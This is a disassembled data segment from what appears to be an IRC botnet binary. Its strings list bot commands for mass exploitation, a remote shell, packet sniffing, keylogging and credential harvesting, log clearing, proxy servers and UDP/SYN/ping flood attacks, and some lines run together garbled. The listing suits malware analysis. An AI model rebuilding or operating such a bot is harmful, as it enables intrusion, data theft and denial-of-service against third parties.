unk_42AC0C db 2 ; DATA XREF: seg000:loc_40D03Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aNoCarnivoreThr db 'No Carnivore thread found.',0
align 4
unk_42AC48 db 2 ; DATA XREF: seg000:0040D030o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0
align 4
aOff db 'off',0 ; DATA XREF: seg000:0040D00Do
; seg000:0040D07Bo
unk_42AC98 db 2 ; DATA XREF: seg000:0040D002o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToSta_25 db 'Failed to start sniffer thread, error: <%d>.',0
align 4
unk_42ACE8 db 2 ; DATA XREF: seg000:0040CF93o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aCarnivorePacke db 'Carnivore packet sniffer active.',0
align 4
unk_42AD2C db 2 ; DATA XREF: seg000:0040CF2Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aAlreadyRunni_2 db 'Already running.',0
align 10h
aOn db 'on',0 ; DATA XREF: seg000:0040CF0Fo
; seg000:0040D059o
align 4
aSniff db 'sniff',0 ; DATA XREF: seg000:0040CEFAo
align 4
aBox_rf db 'box.rf',0 ; DATA XREF: seg000:0040CEE3o
align 4
aBox_readfile db 'box.readfile',0 ; DATA XREF: seg000:0040CECCo
align 4
aBox_cm db 'box.cm',0 ; DATA XREF: seg000:0040CEB5o
align 4
aBox_cmd db 'box.cmd',0 ; DATA XREF: seg000:0040CE9Eo
aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: seg000:0040CE70o
; seg000:0040CE87o
align 10h
aEnz_v db 'enz.v',0 ; DATA XREF: seg000:0040CE59o
align 4
aEnz_visit db 'enz.visit',0 ; DATA XREF: seg000:0040CE42o
align 4
aBox_fl db 'box.fl',0 ; DATA XREF: seg000:0040CE2Bo
align 4
aBox_filelist db 'box.filelist',0 ; DATA XREF: seg000:0040CE14o
align 4
aDcc_gt db 'dcc.gt',0 ; DATA XREF: seg000:0040CDFDo
align 4
aDcc_get db 'dcc.get',0 ; DATA XREF: seg000:0040CDE6o
aBox_del db 'box.del',0 ; DATA XREF: seg000:0040CDCFo
aBox_delete db 'box.delete',0 ; DATA XREF: seg000:0040CDB8o
align 10h
aBox_pkid db 'box.pkid',0 ; DATA XREF: seg000:0040CDA1o
align 4
aBox_prockillid db 'box.prockillid',0 ; DATA XREF: seg000:0040CD8Ao
align 4
aBox_kpn db 'box.kpn',0 ; DATA XREF: seg000:0040CD73o
aBox_killprocna db 'box.killprocname',0 ; DATA XREF: seg000:0040CD5Co
align 4
aEnz_dn db 'enz.dn',0 ; DATA XREF: seg000:0040CD45o
align 10h
aEnz_dns db 'enz.dns',0 ; DATA XREF: seg000:0040CD2Eo
aEnz_se db 'enz.se',0 ; DATA XREF: seg000:0040CD17o
align 10h
aEnz_setserve db 'enz.setserve',0 ; DATA XREF: seg000:0040CD00o
align 10h
aBox_o db 'box.o',0 ; DATA XREF: seg000:0040CCE9o
align 4
aBox_open db 'box.open',0 ; DATA XREF: seg000:0040CCD2o
align 4
aEnz_pr db 'enz.pr',0 ; DATA XREF: seg000:0040CCBBo
align 4
aEnz_prefix db 'enz.prefix',0 ; DATA XREF: seg000:0040CCA4o
align 4
aClone_rn db 'clone.rn',0 ; DATA XREF: seg000:0040CC8Do
align 4
aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: seg000:0040CC76o
align 4
aClone_q db 'clone.q',0 ; DATA XREF: seg000:0040CC5Fo
aClone_quit db 'clone.quit',0 ; DATA XREF: seg000:0040CC48o
align 4
aThreads_k db 'threads.k',0 ; DATA XREF: seg000:0040CC31o
align 4
aThreads_kill db 'threads.kill',0 ; DATA XREF: seg000:0040CC1Ao
align 4
aEnz_r db 'enz.r',0 ; DATA XREF: seg000:0040CC03o
align 4
aEnz_raw db 'enz.raw',0 ; DATA XREF: seg000:0040CBECo
aEnz_pt db 'enz.pt',0 ; DATA XREF: seg000:0040CBD5o
align 4
aEnz_part db 'enz.part',0 ; DATA XREF: seg000:0040CBBEo
align 4
aEnz_j db 'enz.j',0 ; DATA XREF: seg000:0040CBA7o
align 10h
aEnz_join db 'enz.join',0 ; DATA XREF: seg000:0040CB90o
align 4
aEnz_n db 'enz.n',0 ; DATA XREF: seg000:0040CB79o
align 4
aEnz_nick db 'enz.nick',0 ; DATA XREF: seg000:0040CB62o
align 10h
aVall db 'vall',0 ; DATA XREF: seg000:0040CB3Co
align 4
aVuln_massexplo db 'vuln.massexploit',0 ; DATA XREF: seg000:0040CB27o
align 4
aServer_tf_on db 'server.tf.on',0 ; DATA XREF: seg000:0040CB12o
align 4
aServer_tftp_on db 'server.tftp.on',0 ; DATA XREF: seg000:0040CAFDo
align 4
aServer_web_on db 'server.web.on',0 ; DATA XREF: seg000:0040CAE8o
align 4
aServer_httpd_o db 'server.httpd.on',0 ; DATA XREF: seg000:0040CAD3o
aVuln_cip db 'vuln.cip',0 ; DATA XREF: seg000:0040CABEo
align 4
aVuln_currentip db 'vuln.currentip',0 ; DATA XREF: seg000:0040CAA9o
align 4
aUtil_fdns db 'util.fdns',0 ; DATA XREF: seg000:0040CA94o
align 4
aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: seg000:0040CA7Fo
align 4
aUtil_farp db 'util.farp',0 ; DATA XREF: seg000:0040CA6Ao
align 10h
aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: seg000:0040CA55o
align 10h
aBox_gc db 'box.gc',0 ; DATA XREF: seg000:0040CA40o
align 4
aBox_getclip db 'box.getclip',0 ; DATA XREF: seg000:0040CA2Bo
dword_42AFD4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040CA1Ao
dd 2029206Ch, 2BBBB02h
aLoginListCompl db ' Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: seg000:0040C9E6o
align 10h
aEmpty db '<Empty>',0 ; DATA XREF: seg000:0040C9D9o
aLoginList db '-[Login List]-',0 ; DATA XREF: seg000:0040C9B7o
align 4
aEnz_who db 'enz.who',0 ; DATA XREF: seg000:0040C99Eo
aCmd db '[CMD]',0 ; DATA XREF: seg000:0040C993o
align 4
aRemoteShell db 'Remote shell',0 ; DATA XREF: seg000:0040C98Eo
align 4
aBox_ocmd_off db 'box.ocmd.off',0 ; DATA XREF: seg000:0040C975o
align 4
aBox_ocmd db 'box.ocmd',0 ; DATA XREF: seg000:0040C960o
align 4
aBox_opencmd db 'box.opencmd',0 ; DATA XREF: seg000:0040C94Bo
aBox_dll db 'box.dll',0 ; DATA XREF: seg000:0040C936o
aBox_testdlls db 'box.testdlls',0 ; DATA XREF: seg000:0040C921o
align 4
aBox_drv db 'box.drv',0 ; DATA XREF: seg000:0040C90Co
aBox_driveinfo db 'box.driveinfo',0 ; DATA XREF: seg000:0040C8F7o
align 10h
aBox_up db 'box.up',0 ; DATA XREF: seg000:0040C8E2o
align 4
aBox_uptime db 'box.uptime',0 ; DATA XREF: seg000:0040C8CDo
align 4
aBox_key db 'box.key',0 ; DATA XREF: seg000:0040C8B8o
aBox_harvest db 'box.harvest',0 ; DATA XREF: seg000:0040C8A3o
aBox_ps db 'box.ps',0 ; DATA XREF: seg000:0040C88Eo
align 10h
aBox_procs db 'box.procs',0 ; DATA XREF: seg000:0040C879o
align 4
aEnz_010 db 'enz.010',0 ; DATA XREF: seg000:0040C864o
aEnz_beg01ne db 'enz.beg01ne',0 ; DATA XREF: seg000:0040C84Fo
aSi db 'si',0 ; DATA XREF: seg000:0040C83Ao
align 4
aBox_sysinfo db 'box.sysinfo',0 ; DATA XREF: seg000:0040C825o
aBox_ni db 'box.ni',0 ; DATA XREF: seg000:0040C810o
align 4
aBox_netinfo db 'box.netinfo',0 ; DATA XREF: seg000:0040C7FBo
aUtil_clg db 'util.clg',0 ; DATA XREF: seg000:0040C7E6o
align 10h
aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: seg000:0040C7D1o
align 10h
aEnz_l0g db 'enz.l0g',0 ; DATA XREF: seg000:0040C7BCo
aEnz_lo0g db 'enz.lo0g',0 ; DATA XREF: seg000:0040C7A7o
align 4
aEnz_al db 'enz.al',0 ; DATA XREF: seg000:0040C792o
align 4
aEnz_aliases db 'enz.aliases',0 ; DATA XREF: seg000:0040C77Do
aThreads_l db 'threads.l',0 ; DATA XREF: seg000:0040C768o
align 4
aThreads_list db 'threads.list',0 ; DATA XREF: seg000:0040C753o
align 4
dword_42B174 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040C71Fo
dd 2029206Ch, 2BBBB02h
aFailedToReboot db ' Failed to reboot system.',0
align 4
dword_42B1AC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040C718o
dd 2029206Ch, 2BBBB02h
aRebootingSyste db ' Rebooting system.',0
aBox_rebewt db 'box.rebewt',0 ; DATA XREF: seg000:0040C701o
align 4
aEnz_i db 'enz.i',0 ; DATA XREF: seg000:0040C6ECo
align 10h
aEnz_id db 'enz.id',0 ; DATA XREF: seg000:0040C6D7o
align 4
aEnz_s db 'enz.s',0 ; DATA XREF: seg000:0040C6C2o
align 10h
aEnz_status db 'enz.status',0 ; DATA XREF: seg000:0040C6ADo
align 4
aEnz_t3rm1 db 'enz.t3rm1',0 ; DATA XREF: seg000:0040C698o
align 4
aEnz_t3rm1nate db 'enz.t3rm1nate',0 ; DATA XREF: seg000:0040C683o
align 4
aEnz_et3 db 'enz.et3',0 ; DATA XREF: seg000:0040C66Eo
aEnz_endt3rm db 'enz.endt3rm',0 ; DATA XREF: seg000:0040C659o
aEnz_rh4 db 'enz.rh4',0 ; DATA XREF: seg000:0040C644o
aEnz_reh4sh db 'enz.reh4sh',0 ; DATA XREF: seg000:0040C62Fo
align 10h
aVuln_st db 'vuln.st',0 ; DATA XREF: seg000:0040C61Ao
aVuln_stats db 'vuln.stats',0 ; DATA XREF: seg000:0040C605o
align 4
aExploitation db 'Exploitation',0 ; DATA XREF: seg000:0040C5FAo
align 4
aScan db 'Scan',0 ; DATA XREF: seg000:0040C5F5o
align 4
aVuln_stop db 'vuln.stop',0 ; DATA XREF: seg000:0040C5DCo
align 4
dword_42B288 dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0 db 'Secure',0 ; DATA XREF: seg000:0040C5CCo
align 10h
aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: seg000:0040C5B3o
align 10h
dword_42B2B0 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone db 'Clone',0 ; DATA XREF: seg000:0040C5A3o
align 4
aClone_off db 'clone.off',0 ; DATA XREF: seg000:0040C58Ao
align 4
aBox_ps_off db 'box.ps.off',0 ; DATA XREF: seg000:0040C575o
align 10h
aBox_procs_off db 'box.procs.off',0 ; DATA XREF: seg000:0040C560o
align 10h
aBox_ff_off db 'box.ff.off',0 ; DATA XREF: seg000:0040C54Bo
align 4
aBox_findfile_o db 'box.findfile.off',0 ; DATA XREF: seg000:0040C536o
align 10h
dword_42B310 dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of db 'server.tftp.off',0 ; DATA XREF: seg000:0040C50Do
dword_42B32C dd 69027002h, 1F671F6Eh, 2E2Ehdword_42B338 dd 676E6950h, 6F6C6620h, 646Fhdword_42B344 dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_42B354 dd 64027502h, 2E1F701Fh, 2Ehdword_42B360 dd 20504455h, 6F6F6C66h, 64hdword_42B36C dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_42B37C dd 79027302h, 2E1F6E1Fh, 2Ehdword_42B388 dd 206E7953h, 6F6F6C66h, 64hdword_42B394 dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_42B3A4 dd 64026402h, 1F731F6Fh, 2E2Ehdword_42B3B0 dd 536F4444h, 6F6C6620h, 646Fhdword_42B3BC dd 736F6464h, 66666F2Eh, 0dword_42B3C8 dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_42B3D8 dd 20504354h, 69646572h, 74636572h, 0aServer_redirec db 'server.redirect.off',0 ; DATA XREF: seg000:0040C440o
dword_42B3FC dd 6F026C02h, 2E1F671Fh, 2Ehdword_42B408 dd 20676F4Ch, 7473696Ch, 0dword_42B414 dd 2E676F6Ch, 66666Fhdword_42B41C dd 74026802h, 641F7074h, 2E2E1Fhdword_42B428 dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_42B438 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer_rlogin_ db 'server.rlogin.off',0 ; DATA XREF: seg000:0040C3CBo
align 4
dword_42B45C dd 6F027302h, 1F736B63h, 2E2E1F34h, 0aServer db 'Server',0 ; DATA XREF: seg000:0040C3A4o
; seg000:0040C3E4o ...
align 4
aServer_socks_0 db 'server.socks4.off',0 ; DATA XREF: seg000:0040C38Bo
align 4
aServer_s4_on db 'server.s4.on',0 ; DATA XREF: seg000:0040C376o
align 4
aServer_socks4_ db 'server.socks4.on',0 ; DATA XREF: seg000:0040C361o
align 4
aLd_off db 'ld.off',0 ; DATA XREF: seg000:0040C34Co
align 4
aLockdown_off db 'lockdown.off',0 ; DATA XREF: seg000:0040C337o
align 4
aLd_on db 'ld.on',0 ; DATA XREF: seg000:0040C322o
align 4
aLockdown_on db 'lockdown.on',0 ; DATA XREF: seg000:0040C30Do
aEnz_ver db 'enz.ver',0 ; DATA XREF: seg000:0040C2F8o
aEnz_version db 'enz.version',0 ; DATA XREF: seg000:0040C2E3o
aEnz_lo db 'enz.lo',0 ; DATA XREF: seg000:0040C2CEo
align 4
aEnz_logout db 'enz.logout',0 ; DATA XREF: seg000:0040C2B9o
align 10h
aEnz_d db 'enz.d',0 ; DATA XREF: seg000:0040C2A4o
align 4
aEnz_endsess db 'enz.endsess',0 ; DATA XREF: seg000:0040C28Fo
aEnz_rn db 'enz.rn',0 ; DATA XREF: seg000:0040C27Ao
align 4
aEnz_rndnick db 'enz.rndnick',0 ; DATA XREF: seg000:0040C262o
a63 db '63',0 ; DATA XREF: seg000:0040C13Bo
align 4
asc_42B52C: ; DATA XREF: seg000:0040C113o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: seg000:0040C0D6o
align 4
aServer_0 db '$server',0 ; DATA XREF: seg000:0040C0CBo
aRndnick db '$rndnick',0 ; DATA XREF: seg000:0040C0BAo
align 4
aChan db '$chan',0 ; DATA XREF: seg000:0040C09Eo
align 4
aUser_2 db '$user',0 ; DATA XREF: seg000:0040C08Do
align 4
aMe_0 db '$me',0 ; DATA XREF: seg000:0040C07Bo
aD db '$%d',0 ; DATA XREF: seg000:0040C00Do
aD_0 db '$%d-',0 ; DATA XREF: seg000:0040BF52o
align 4
aHi_0 db 'hi',0 ; DATA XREF: seg000:0040BE7Ao
align 10h
aNewshit db 'newshit',0 ; DATA XREF: seg000:0040BE62o
dword_42B578 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040BE30o
dd 2029206Ch, 2BBBB02h
aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0
dword_42B5BC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040BE22o
dd 2029206Ch, 2BBBB02h
aChatAlreadyAct db ' Chat already active with user: %s.',0
align 10h
dword_42B600 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040BE14o
dd 2029206Ch, 2BBBB02h
aFailedToSta_26 db ' Failed to start chat thread, error: <%d>.',0
dword_42B648 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040BDA5o
dd 2029206Ch, 2BBBB02h
aChatFromUserS_ db ' Chat from user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: seg000:0040BD0Eo
align 4
dword_42B684 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040BCF1o
dd 2029206Ch, 2BBBB02h
aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_42B6D8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040BCD3o
; seg000:0040FA8Eo
dd 2029206Ch, 2BBBB02h
aFailedToSta_27 db ' Failed to start transfer thread, error: <%d>.',0
dword_42B724 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: seg000:0040BCC2o
dd 0A0Dh
dword_42B73C dd 4E495001h, 47haSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: seg000:0040BC48o
align 10h
dword_42B760 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: seg000:0040BC2Eo
dd 0D017325h, 0Ah
dword_42B77C dd 52455601h, 4E4F4953h, 1dword_42B788 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040BAE3o
dd 2029206Ch, 2BBBB02h
aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0 db 'SEND',0 ; DATA XREF: seg000:0040BA40o
align 10h
dword_42B7D0 dd 43434401h, 0 dword_42B7D8 dd 323333h ; seg000:0040BE9Co ...
aNotice db 'NOTICE',0 ; DATA XREF: seg000:0040B987o
; sub_4110B0+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: seg000:0040B97Bo
; sub_4110B0+16o
dword_42B7EC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040B92Ao
dd 2029206Ch, 2BBBB02h
aUserSLoggedOut db ' User: %s logged out.',0
align 10h
dword_42B820 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040B903o
dd 2029206Ch, 2BBBB02h
aJoinedChanne_0 db ' Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: seg000:0040B8CCo
aPart db 'PART',0 ; DATA XREF: seg000:0040B87Eo
; seg000:0040B947o
align 10h
aSS db ':%s%s',0 ; DATA XREF: seg000:0040B856o
align 4
aNick db 'NICK',0 ; DATA XREF: seg000:0040B728o
align 10h
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040B6C9o
; seg000:0040B96Bo
dword_42B880 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040B6B0o
; seg000:00410DBCo ...
dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0 db ' User %s logged out.',0
align 4
aKick db 'KICK',0 ; DATA XREF: seg000:0040B63Fo
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040B5E8o
; seg000:0040FE46o ...
align 4
a433 db '433',0 ; DATA XREF: seg000:0040B5C0o
a@: ; DATA XREF: seg000:0040B595o
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: seg000:0040B585o
a005 db '005',0 ; DATA XREF: seg000:0040B570o
a001 db '001',0 ; DATA XREF: seg000:0040B55Bo
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040B53Fo
; seg000:0040B70Fo ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040B51Eo
align 4
aPing db 'PING',0 ; DATA XREF: seg000:0040B504o
align 10h
asc_42B900: ; DATA XREF: seg000:0040B4F5o
; seg000:00410EBEo
unicode 0, <!>,0
asc_42B904 db ' :',0 ; DATA XREF: seg000:0040B3E1o
; seg000:loc_40BEF4o
align 4
dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 3000005h, 10h, 18h, 1, 3 dup(0)
dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0
dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
dword_42B998 dd 25207325h, 253A2073h, 0A0D73h, 0off_42B9A8 dd offset aAdd ; DATA XREF: sub_41114B+6Dr
; sub_41152F+50r ...
; "Add"
off_42B9AC dd offset aAdded ; DATA XREF: sub_41114B+2Dr
; sub_41152F+82r ...
; "Added"
dword_42B9B0 dd 0 dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 10h
dd offset aList_0 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 8
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 42BA1Ch, 42BA14h, 2, 42BA08h, 42B9FCh, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: seg002:0042B9DCo
aStop_0 db 'Stop',0 ; DATA XREF: seg002:0042B9D8o
align 4
aStarted db 'Started',0 ; DATA XREF: seg002:0042B9D0o
aStart_0 db 'Start',0 ; DATA XREF: seg002:0042B9CCo
align 4
aListed db 'Listed',0 ; DATA XREF: seg002:0042B9C4o
align 4
aList_0 db 'List',0 ; DATA XREF: seg002:0042B9C0o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: seg002:0042B9B8o
aDelete_0 db 'Delete',0 ; DATA XREF: seg002:0042B9B4o
align 4
aAdded db 'Added',0 ; DATA XREF: seg002:off_42B9ACo
align 4
aAdd db 'Add',0 ; DATA XREF: seg002:off_42B9A8o
dword_42BA70 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_41114B+74o
dd 2029206Ch, 2BBBB02h
aSNoServiceSpec db ' %s: No service specified.',0
dword_42BAA8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_41114B+55o
dd 2029206Ch, 2BBBB02h
aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0
align 4
dword_42BAE4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_41114B+38o
dd 2029206Ch, 2BBBB02h
aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_411274+12Co
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_411274:loc_41138Co
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_411274:loc_411385o
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_411274:loc_41137Eo
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_411274:loc_411377o
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_411274:loc_411370o
db ' correct access rights.',0
align 10h
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_411274:loc_411369o
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_411274:loc_411362o
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_411274:loc_41135Bo
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_411274:loc_411354o
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_411274:loc_41134Do
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_411274:loc_411322o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_411274:loc_41131Bo
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_411274:loc_411314o
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_411274:loc_41130Do
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_411274+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_411274:loc_4112E2o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_411274:loc_4112D8o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_411274:loc_4112CEo
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_411274:loc_4112C4o
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_411274:loc_4112BAo
align 4
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_411274+3Co
align 10h
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_4113F2+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_4113F2:loc_4114BEo
aStarting db ' Starting',0 ; DATA XREF: sub_4113F2:loc_4114B7o
aStoping db ' Stoping',0 ; DATA XREF: sub_4113F2:loc_4114B0o
aRunning db ' Running',0 ; DATA XREF: sub_4113F2:loc_4114A9o
aContinuing db ' Continuing',0 ; DATA XREF: sub_4113F2:loc_4114A2o
aPausing db ' Pausing',0 ; DATA XREF: sub_4113F2:loc_41149Bo
aPaused_0 db ' Paused',0 ; DATA XREF: sub_4113F2:loc_411494o
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_4113F2+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_4113F2+25o
align 4
dword_42C04C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_41152F+ABo
dd 2029206Ch, 2BBBB02h
aSNoShareSpecif db ' %s: No share specified.',0
align 4
dword_42C084 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_41152F+89o
dd 2029206Ch, 2BBBB02h
aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0
align 4
dword_42C0B4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_41152F+57o
dd 2029206Ch, 2BBBB02h
aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_411724+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_411724+BCo
align 10h
aYes db 'Yes',0 ; DATA XREF: sub_411724+B5o
dword_42C114 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_411724+76o
dd 2029206Ch, 2BBBB02h
aShareListError db ' Share list error: %s <%ld>',0
align 10h
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_411724+26o
align 4
dword_42C188 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_411845+B6o
dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe db ' %s: No username specified.',0
align 4
dword_42C1C4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_411845+94o
dd 2029206Ch, 2BBBB02h
aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42C204 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_411845+6Do
dd 2029206Ch, 2BBBB02h
aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0
align 4
dword_42C238 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_41198B+394o
dd 2029206Ch, 2BBBB02h
aUserInfoErrorL db ' User info error: <%ld>',0
align 10h
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_41198B+36Ao
align 4
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_41198B+33Fo
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41198B+317o
